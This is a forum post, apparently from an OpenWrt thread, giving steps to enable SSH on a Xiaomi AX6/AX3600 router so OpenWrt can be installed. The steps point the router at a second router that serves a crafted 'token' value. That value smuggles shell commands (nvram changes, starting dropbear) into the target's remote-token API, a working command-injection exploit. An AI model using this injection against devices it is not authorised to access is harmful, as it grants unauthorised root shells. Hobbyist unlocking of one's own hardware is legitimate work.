Adding OpenWrt support for Xiaomi AX3600 (Part 1)

Whoops, there was one linked in my previous post.

It's kinda onerous and requires another router, though. All credits go to @yyjdelete on Right.com.cn.

Basic steps:

  • DIsable DHCP on the other router, and set the gateway IP to 169.254.31.1
  • create /usr/lib/lua/luci/controller/admin/xqsystem.lua with the following content (if running OpenWRT):
module("luci.controller.admin.xqsystem", package.seeall)


function index()
    local page   = node("api")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 100
    page.index = true
    page   = node("api","xqsystem")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 100
    page.index = true
    entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
end

local LuciHttp = require("luci.http")

function getToken()
    local result = {}
    result["code"] = 0
    result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
    LuciHttp.write_json(result)
end
  • if not running OpenWRT, make sure http://169.254.31.1/cgi-bin/luci/api/xqsystem/token returns
{"code":0,"token":"; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"}

(the backslash can be escaped, and the order of the keys doesn't matter)

  • on the AX6, browse to http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/extendwifi_connect?ssid={the ssid of the other router}&password={the WPA passphrase of the other router} (sans brackets)
    • it should return with code 0 after a while
  • then browse to http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx
    • you can leave the fields username, password, and nonce as is, or change them to any non-empty value
    • if accessing http://169.254.31.1/cgi-bin/luci/api/xqsystem/token requires authentication, try entering the username/password in the respective fields
    • It should also return with code 0
  • SSH should be enabled now. If AX6's Wi-Fi is down, reboot the router.
3 Likes